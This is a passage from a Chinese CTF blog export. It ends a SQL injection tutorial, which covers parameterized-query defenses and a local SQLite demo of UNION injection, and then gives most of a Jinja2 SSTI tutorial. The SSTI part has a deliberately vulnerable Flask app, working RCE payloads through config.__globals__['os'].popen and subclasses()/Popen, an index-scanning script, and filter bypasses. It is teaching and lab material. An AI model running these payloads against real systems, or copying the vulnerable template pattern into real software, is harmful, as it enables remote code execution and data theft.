表内容 ",[29,6181,5808],{},[10,6183,6185],{"id":6184},"七核心步骤-5防御","七、核心步骤 5：防御",[22,6187,6189],{"className":5222,"code":6188,"language":5224,"meta":27,"style":27},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[29,6190,6191,6196,6201,6206,6210,6215,6220,6225],{"__ignoreMap":27},[32,6192,6193],{"class":34,"line":35},[32,6194,6195],{},"// PDO 参数化\n",[32,6197,6198],{"class":34,"line":46},[32,6199,6200],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[32,6202,6203],{"class":34,"line":69},[32,6204,6205],{},"$stmt->execute([$_GET['id']]);\n",[32,6207,6208],{"class":34,"line":79},[32,6209,2433],{"emptyLinePlaceholder":1372},[32,6211,6212],{"class":34,"line":451},[32,6213,6214],{},"// mysqli 参数化\n",[32,6216,6217],{"class":34,"line":457},[32,6218,6219],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[32,6221,6222],{"class":34,"line":463},[32,6223,6224],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[32,6226,6227],{"class":34,"line":469},[32,6228,6229],{},"$stmt->execute();\n",[22,6231,6233],{"className":1237,"code":6232,"language":1239,"meta":27,"style":27},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[29,6234,6235],{"__ignoreMap":27},[32,6236,6237],{"class":34,"line":35},[32,6238,6232],{},[15,6240,6241,6242,6245],{},"参数化后，输入 ",[29,6243,6244],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6247,6249],{"id":6248},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6251,6252,6254],{},[135,6253,137],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6256,6257,6258,560],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[29,6259,6260],{},"sim.py",[22,6262,6264],{"className":1237,"code":6263,"language":1239,"meta":27,"style":27},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[29,6265,6266,6271,6276,6280,6285,6290,6295,6300,6304,6309,6313,6318,6323,6327,6332,6337,6342,6347,6352,6357,6362,6367,6372,6377,6382,6387,6391,6396,6401,6406,6411,6416,6421,6426],{"__ignoreMap":27},[32,6267,6268],{"class":34,"line":35},[32,6269,6270],{},"import sqlite3\n",[32,6272,6273],{"class":34,"line":46},[32,6274,6275],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[32,6277,6278],{"class":34,"line":69},[32,6279,2433],{"emptyLinePlaceholder":1372},[32,6281,6282],{"class":34,"line":79},[32,6283,6284],{},"conn = sqlite3.connect(':memory:')\n",[32,6286,6287],{"class":34,"line":451},[32,6288,6289],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[32,6291,6292],{"class":34,"line":457},[32,6293,6294],{},"conn.executescript('''\n",[32,6296,6297],{"class":34,"line":463},[32,6298,6299],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[32,6301,6302],{"class":34,"line":469},[32,6303,5343],{},[32,6305,6306],{"class":34,"line":475},[32,6307,6308],{},"CREATE TABLE flag (flag TEXT);\n",[32,6310,6311],{"class":34,"line":481},[32,6312,5353],{},[32,6314,6315],{"class":34,"line":1294},[32,6316,6317],{},"''')\n",[32,6319,6320],{"class":34,"line":1300},[32,6321,6322],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[32,6324,6325],{"class":34,"line":2478},[32,6326,2433],{"emptyLinePlaceholder":1372},[32,6328,6329],{"class":34,"line":2484},[32,6330,6331],{},"def query(id_):\n",[32,6333,6334],{"class":34,"line":2490},[32,6335,6336],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[32,6338,6339],{"class":34,"line":2496},[32,6340,6341],{},"    cur = conn.cursor()\n",[32,6343,6344],{"class":34,"line":2502},[32,6345,6346],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[32,6348,6349],{"class":34,"line":2508},[32,6350,6351],{},"    try:\n",[32,6353,6354],{"class":34,"line":2514},[32,6355,6356],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[32,6358,6359],{"class":34,"line":3954},[32,6360,6361],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[32,6363,6364],{"class":34,"line":3960},[32,6365,6366],{},"        return str(cur.fetchall())\n",[32,6368,6369],{"class":34,"line":3966},[32,6370,6371],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[32,6373,6374],{"class":34,"line":3972},[32,6375,6376],{},"    except Exception as e:\n",[32,6378,6379],{"class":34,"line":3978},[32,6380,6381],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[32,6383,6384],{"class":34,"line":4743},[32,6385,6386],{},"        return \"ERROR: \" + str(e)\n",[32,6388,6389],{"class":34,"line":4748},[32,6390,2433],{"emptyLinePlaceholder":1372},[32,6392,6393],{"class":34,"line":4754},[32,6394,6395],{},"print(query(\"1\"))\n",[32,6397,6398],{"class":34,"line":4760},[32,6399,6400],{},"print(query(\"1'\"))\n",[32,6402,6403],{"class":34,"line":4765},[32,6404,6405],{},"print(query(\"1 AND 1=1\"))\n",[32,6407,6408],{"class":34,"line":4771},[32,6409,6410],{},"print(query(\"1 AND 1=2\"))\n",[32,6412,6413],{"class":34,"line":4777},[32,6414,6415],{},"print(query(\"1 ORDER BY 3\"))\n",[32,6417,6418],{"class":34,"line":4783},[32,6419,6420],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[32,6422,6423],{"class":34,"line":4789},[32,6424,6425],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[32,6427,6428],{"class":34,"line":4794},[32,6429,6430],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6432,6433],{},"运行：",[22,6435,6437],{"className":24,"code":6436,"language":26,"meta":27,"style":27},"python3 sim.py\n",[29,6438,6439],{"__ignoreMap":27},[32,6440,6441,6443],{"class":34,"line":35},[32,6442,3104],{"class":38},[32,6444,6445],{"class":42}," sim.py\n",[15,6447,3405],{},[22,6449,6452],{"className":6450,"code":6451,"language":174,"meta":27},[172],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[29,6453,6451],{"__ignoreMap":27},[15,6455,6456],{},"逐行对应：",[489,6458,6459,6472],{},[492,6460,6461],{},[495,6462,6463,6466,6469],{},[498,6464,6465],{},"输入",[498,6467,6468],{},"输出",[498,6470,6471],{},"结论",[505,6473,6474,6487,6500,6512,6525,6538,6553,6566],{},[495,6475,6476,6481,6484],{},[510,6477,6478],{},[29,6479,6480],{},"1",[510,6482,6483],{},"正常记录",[510,6485,6486],{},"基线",[495,6488,6489,6494,6497],{},[510,6490,6491],{},[29,6492,6493],{},"1'",[510,6495,6496],{},"语法错误",[510,6498,6499],{},"注入点存在",[495,6501,6502,6507,6509],{},[510,6503,6504],{},[29,6505,6506],{},"1 AND 1=1",[510,6508,6483],{},[510,6510,6511],{},"条件真",[495,6513,6514,6519,6522],{},[510,6515,6516],{},[29,6517,6518],{},"1 AND 1=2",[510,6520,6521],{},"空",[510,6523,6524],{},"条件假",[495,6526,6527,6532,6535],{},[510,6528,6529],{},[29,6530,6531],{},"1 ORDER BY 3",[510,6533,6534],{},"正常",[510,6536,6537],{},"至少 3 列",[495,6539,6540,6545,6550],{},[510,6541,6542],{},[29,6543,6544],{},"-1 UNION SELECT 1,2,3",[510,6546,6547],{},[29,6548,6549],{},"(1, 2, 3)",[510,6551,6552],{},"3 列且回显",[495,6554,6555,6558,6563],{},[510,6556,6557],{},"查 sqlite_master",[510,6559,6560],{},[29,6561,6562],{},"articles,flag",[510,6564,6565],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[495,6567,6568,6571,6575],{},[510,6569,6570],{},"查 flag 表",[510,6572,6573],{},[29,6574,5808],{},[510,6576,6577],{},"拿到 flag",[10,6579,6581],{"id":6580},"九小结","九、小结",[15,6583,6584,6585,6588],{},"SQL 注入主线：",[135,6586,6587],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1349,6590,6591],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":27,"searchDepth":46,"depth":46,"links":6593},[6594,6595,6596,6597,6598,6599,6600,6601,6602],{"id":5215,"depth":69,"text":5216},{"id":5267,"depth":69,"text":5268},{"id":5421,"depth":69,"text":5422},{"id":5579,"depth":69,"text":5580},{"id":5817,"depth":69,"text":5818},{"id":6063,"depth":69,"text":6064},{"id":6184,"depth":69,"text":6185},{"id":6248,"depth":69,"text":6249},{"id":6580,"depth":69,"text":6581},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1365,"image":6605,"alt":6606,"tags":6607,"published":1372},"/blogs-img/blog5.png","SQL 注入深入实战",[1369,6608,6609,1371],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5210,"description":6603},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6615,"title":6616,"body":6617,"description":7663,"extension":1363,"meta":7664,"navigation":1372,"ogImage":7665,"path":7669,"seo":7670,"stem":7671,"__hash__":7672},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6618,"toc":7653},[6619,6623,6626,6669,6680,6683,6692,6698,6702,6716,6721,6774,6776,6788,6792,6797,6810,6814,6830,6832,6854,6858,6874,6876,6894,6904,6908,6975,6979,6984,7017,7026,7030,7036,7040,7046,7049,7065,7067,7085,7088,7104,7106,7124,7137,7145,7156,7163,7169,7172,7250,7256,7259,7265,7269,7281,7290,7302,7306,7312,7316,7322,7331,7333,7337,7383,7387,7430,7436,7440,7443,7512,7516,7525,7529,7534,7549,7555,7559,7574,7603,7606,7612,7616,7624,7627,7633,7635,7650],[10,6620,6622],{"id":6621},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6624,6625],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[22,6627,6629],{"className":1237,"code":6628,"language":1239,"meta":27,"style":27},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[29,6630,6631,6636,6640,6645,6649,6654,6659,6664],{"__ignoreMap":27},[32,6632,6633],{"class":34,"line":35},[32,6634,6635],{},"from flask import Flask, render_template\n",[32,6637,6638],{"class":34,"line":46},[32,6639,2433],{"emptyLinePlaceholder":1372},[32,6641,6642],{"class":34,"line":69},[32,6643,6644],{},"app = Flask(__name__)\n",[32,6646,6647],{"class":34,"line":79},[32,6648,2433],{"emptyLinePlaceholder":1372},[32,6650,6651],{"class":34,"line":451},[32,6652,6653],{},"@app.route(\"/\")\n",[32,6655,6656],{"class":34,"line":457},[32,6657,6658],{},"def index():\n",[32,6660,6661],{"class":34,"line":463},[32,6662,6663],{},"    name = request.args.get(\"name\", \"world\")\n",[32,6665,6666],{"class":34,"line":469},[32,6667,6668],{},"    return render_template(\"hello.html\", name=name)\n",[15,6670,6671,6672,6675,6676,6679],{},"模板文件 ",[29,6673,6674],{},"hello.html"," 内容是固定的 ",[29,6677,6678],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6681,6682],{},"错误写法是把用户输入拼进模板字符串：",[22,6684,6686],{"className":1237,"code":6685,"language":1239,"meta":27,"style":27},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[29,6687,6688],{"__ignoreMap":27},[32,6689,6690],{"class":34,"line":35},[32,6691,6685],{},[15,6693,6694,6697],{},[29,6695,6696],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6699,6701],{"id":6700},"二环境搭建","二、环境搭建",[22,6703,6705],{"className":24,"code":6704,"language":26,"meta":27,"style":27},"pip install flask\n",[29,6706,6707],{"__ignoreMap":27},[32,6708,6709,6711,6713],{"class":34,"line":35},[32,6710,3684],{"class":38},[32,6712,105],{"class":42},[32,6714,6715],{"class":42}," flask\n",[15,6717,2410,6718,560],{},[29,6719,6720],{},"app.py",[22,6722,6724],{"className":1237,"code":6723,"language":1239,"meta":27,"style":27},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[29,6725,6726,6731,6735,6739,6743,6747,6751,6755,6760,6765,6769],{"__ignoreMap":27},[32,6727,6728],{"class":34,"line":35},[32,6729,6730],{},"from flask import Flask, request, render_template_string\n",[32,6732,6733],{"class":34,"line":46},[32,6734,2433],{"emptyLinePlaceholder":1372},[32,6736,6737],{"class":34,"line":69},[32,6738,6644],{},[32,6740,6741],{"class":34,"line":79},[32,6742,2433],{"emptyLinePlaceholder":1372},[32,6744,6745],{"class":34,"line":451},[32,6746,6653],{},[32,6748,6749],{"class":34,"line":457},[32,6750,6658],{},[32,6752,6753],{"class":34,"line":463},[32,6754,6663],{},[32,6756,6757],{"class":34,"line":469},[32,6758,6759],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[32,6761,6762],{"class":34,"line":475},[32,6763,6764],{},"    return render_template_string(html, name=name)\n",[32,6766,6767],{"class":34,"line":481},[32,6768,2433],{"emptyLinePlaceholder":1372},[32,6770,6771],{"class":34,"line":1294},[32,6772,6773],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6775,6433],{},[22,6777,6779],{"className":24,"code":6778,"language":26,"meta":27,"style":27},"python app.py\n",[29,6780,6781],{"__ignoreMap":27},[32,6782,6783,6785],{"class":34,"line":35},[32,6784,1239],{"class":38},[32,6786,6787],{"class":42}," app.py\n",[10,6789,6791],{"id":6790},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6793,6794,6796],{},[135,6795,137],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6798,6799,6801,6802,6805,6806,6809],{},[135,6800,143],{},"：模板引擎会执行 ",[29,6803,6804],{},"{{ 表达式 }}","。传 ",[29,6807,6808],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[146,6811,6813],{"id":6812},"_31-正常请求","3.1 正常请求",[22,6815,6817],{"className":24,"code":6816,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[29,6818,6819],{"__ignoreMap":27},[32,6820,6821,6823,6825,6828],{"class":34,"line":35},[32,6822,5455],{"class":38},[32,6824,5458],{"class":411},[32,6826,6827],{"class":42},"http://127.0.0.1:5000/?name=alice",[32,6829,5464],{"class":411},[15,6831,168],{},[22,6833,6837],{"className":6834,"code":6835,"language":6836,"meta":27,"style":27},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[29,6838,6839],{"__ignoreMap":27},[32,6840,6841,6844,6847,6850,6852],{"class":34,"line":35},[32,6842,6843],{"class":62},"\u003C",[32,6845,6846],{"class":55},"h1",[32,6848,6849],{"class":62},">Hello, alice!\u003C/",[32,6851,6846],{"class":55},[32,6853,66],{"class":62},[146,6855,6857],{"id":6856},"_32-表达式求值","3.2 表达式求值",[22,6859,6861],{"className":24,"code":6860,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[29,6862,6863],{"__ignoreMap":27},[32,6864,6865,6867,6869,6872],{"class":34,"line":35},[32,6866,5455],{"class":38},[32,6868,5458],{"class":411},[32,6870,6871],{"class":42},"http://127.0.0.1:5000/?name={{7*7}}",[32,6873,5464],{"class":411},[15,6875,168],{},[22,6877,6879],{"className":6834,"code":6878,"language":6836,"meta":27,"style":27},"\u003Ch1>Hello, 49!\u003C/h1>\n",[29,6880,6881],{"__ignoreMap":27},[32,6882,6883,6885,6887,6890,6892],{"class":34,"line":35},[32,6884,6843],{"class":62},[32,6886,6846],{"class":55},[32,6888,6889],{"class":62},">Hello, 49!\u003C/",[32,6891,6846],{"class":55},[32,6893,66],{"class":62},[15,6895,6896,6899,6900,6903],{},[29,6897,6898],{},"7*7"," 被求值成 ",[29,6901,6902],{},"49","，说明模板表达式生效，SSTI 成立。",[146,6905,6907],{"id":6906},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[489,6909,6910,6923],{},[492,6911,6912],{},[495,6913,6914,6917,6920],{},[498,6915,6916],{},"引擎",[498,6918,6919],{},"语言",[498,6921,6922],{},"探测 payload",[505,6924,6925,6937,6950,6962],{},[495,6926,6927,6930,6933],{},[510,6928,6929],{},"Jinja2 / Twig",[510,6931,6932],{},"Python / PHP",[510,6934,6935],{},[29,6936,6808],{},[495,6938,6939,6942,6945],{},[510,6940,6941],{},"Freemarker",[510,6943,6944],{},"Java",[510,6946,6947],{},[29,6948,6949],{},"${7*7}",[495,6951,6952,6955,6957],{},[510,6953,6954],{},"Velocity",[510,6956,6944],{},[510,6958,6959],{},[29,6960,6961],{},"#set($x=7*7)$x",[495,6963,6964,6967,6970],{},[510,6965,6966],{},"Smarty",[510,6968,6969],{},"PHP",[510,6971,6972],{},[29,6973,6974],{},"{$smarty.version}",[10,6976,6978],{"id":6977},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,6980,6981,6983],{},[135,6982,137],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,6985,6986,6988,6989,6992,6993,263,6996,263,6999,7002,7003,7006,7007,7009,7010,7013,7014,300],{},[135,6987,143],{},"：模板只能访问少量对象（如 ",[29,6990,6991],{},"config","）。Python 对象有 ",[29,6994,6995],{},"__class__",[29,6997,6998],{},"__init__",[29,7000,7001],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[29,7004,7005],{},"os"," 模块。验证方式：先执行 ",[29,7008,5430],{},"，输出 ",[29,7011,7012],{},"uid=..."," 即成功，再换 ",[29,7015,7016],{},"cat /flag",[15,7018,7019,7020,7022,7023,7025],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[29,7021,6991],{}," 对象，沿 Python 内部属性找到 ",[29,7024,7005],{}," 模块。",[146,7027,7029],{"id":7028},"_41-分步理解","4.1 分步理解",[22,7031,7034],{"className":7032,"code":7033,"language":174,"meta":27},[172],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[29,7035,7033],{"__ignoreMap":27},[146,7037,7039],{"id":7038},"_42-完整-payload","4.2 完整 payload",[22,7041,7044],{"className":7042,"code":7043,"language":174,"meta":27},[172],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[29,7045,7043],{"__ignoreMap":27},[15,7047,7048],{},"用 curl 发送：",[22,7050,7052],{"className":24,"code":7051,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[29,7053,7054],{"__ignoreMap":27},[32,7055,7056,7058,7060,7063],{"class":34,"line":35},[32,7057,5455],{"class":38},[32,7059,5458],{"class":411},[32,7061,7062],{"class":42},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[32,7064,5464],{"class":411},[15,7066,168],{},[22,7068,7070],{"className":6834,"code":7069,"language":6836,"meta":27,"style":27},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[29,7071,7072],{"__ignoreMap":27},[32,7073,7074,7076,7078,7081,7083],{"class":34,"line":35},[32,7075,6843],{"class":62},[32,7077,6846],{"class":55},[32,7079,7080],{"class":62},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[32,7082,6846],{"class":55},[32,7084,66],{"class":62},[15,7086,7087],{},"命令执行成功。读 flag：",[22,7089,7091],{"className":24,"code":7090,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[29,7092,7093],{"__ignoreMap":27},[32,7094,7095,7097,7099,7102],{"class":34,"line":35},[32,7096,5455],{"class":38},[32,7098,5458],{"class":411},[32,7100,7101],{"class":42},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[32,7103,5464],{"class":411},[15,7105,168],{},[22,7107,7109],{"className":6834,"code":7108,"language":6836,"meta":27,"style":27},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[29,7110,7111],{"__ignoreMap":27},[32,7112,7113,7115,7117,7120,7122],{"class":34,"line":35},[32,7114,6843],{"class":62},[32,7116,6846],{"class":55},[32,7118,7119],{"class":62},">Hello, flag{ssti_rce}!\u003C/",[32,7121,6846],{"class":55},[32,7123,66],{"class":62},[15,7125,7126,560,7134,7136],{},[135,7127,7128,7129,7131,7132],{},"为什么先试 ",[29,7130,5430],{}," 再试 ",[29,7133,7016],{},[29,7135,5430],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[146,7138,7140,7141,7144],{"id":7139},"_43-备选链subclasses-扫描","4.3 备选链：",[135,7142,7143],{},"subclasses"," 扫描",[15,7146,7147,7149,7150,7152,7153,300],{},[135,7148,137],{},"：当 ",[29,7151,6991],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[29,7154,7155],{},"subprocess.Popen",[15,7157,7158,7160,7161,560],{},[29,7159,6991],{}," 链不可用时，从字符串对象出发找 ",[29,7162,7155],{},[22,7164,7167],{"className":7165,"code":7166,"language":174,"meta":27},[172],"''.__class__.__mro__[1].__subclasses__()\n",[29,7168,7166],{"__ignoreMap":27},[15,7170,7171],{},"先用 Python 脚本找下标：",[22,7173,7175],{"className":1237,"code":7174,"language":1239,"meta":27,"style":27},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[29,7176,7177,7182,7186,7191,7196,7201,7206,7211,7216,7221,7226,7231,7236,7241,7246],{"__ignoreMap":27},[32,7178,7179],{"class":34,"line":35},[32,7180,7181],{},"import requests\n",[32,7183,7184],{"class":34,"line":46},[32,7185,2433],{"emptyLinePlaceholder":1372},[32,7187,7188],{"class":34,"line":69},[32,7189,7190],{},"url = \"http://127.0.0.1:5000/\"\n",[32,7192,7193],{"class":34,"line":79},[32,7194,7195],{},"for i in range(500):\n",[32,7197,7198],{"class":34,"line":451},[32,7199,7200],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[32,7202,7203],{"class":34,"line":457},[32,7204,7205],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[32,7207,7208],{"class":34,"line":463},[32,7209,7210],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[32,7212,7213],{"class":34,"line":469},[32,7214,7215],{},"    # .__mro__[1]：继承链上的 object 类；\n",[32,7217,7218],{"class":34,"line":475},[32,7219,7220],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[32,7222,7223],{"class":34,"line":481},[32,7224,7225],{},"    # .__name__：该类的名字，会渲染到页面。\n",[32,7227,7228],{"class":34,"line":1294},[32,7229,7230],{},"    r = requests.get(url, params={\"name\": payload})\n",[32,7232,7233],{"class":34,"line":1300},[32,7234,7235],{},"    if \"Popen\" in r.text:\n",[32,7237,7238],{"class":34,"line":2478},[32,7239,7240],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[32,7242,7243],{"class":34,"line":2484},[32,7244,7245],{},"        print(\"Popen index:\", i)\n",[32,7247,7248],{"class":34,"line":2490},[32,7249,3645],{},[15,7251,168,7252,7255],{},[29,7253,7254],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7257,7258],{},"然后利用：",[22,7260,7263],{"className":7261,"code":7262,"language":174,"meta":27},[172],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[29,7264,7262],{"__ignoreMap":27},[10,7266,7268],{"id":7267},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7270,7271,7273,7274,263,7277,7280],{},[135,7272,137],{},"：题目过滤 ",[29,7275,7276],{},".",[29,7278,7279],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7282,7283,7285,7286,7289],{},[135,7284,143],{},"：点号访问可以用 Jinja2 的 ",[29,7287,7288],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7291,7292,7293,263,7295,263,7298,7301],{},"题目常过滤 ",[29,7294,7276],{},[29,7296,7297],{},"[",[29,7299,7300],{},"]"," 或关键词。",[146,7303,7305],{"id":7304},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[22,7307,7310],{"className":7308,"code":7309,"language":174,"meta":27},[172],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[29,7311,7309],{"__ignoreMap":27},[146,7313,7315],{"id":7314},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[22,7317,7320],{"className":7318,"code":7319,"language":174,"meta":27},[172],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[29,7321,7319],{"__ignoreMap":27},[15,7323,7324,7325,263,7327,7330],{},"模板里不再出现 ",[29,7326,7005],{},[29,7328,7329],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7332,1037],{"id":1036},[146,7334,7336],{"id":7335},"工具-1curl","工具 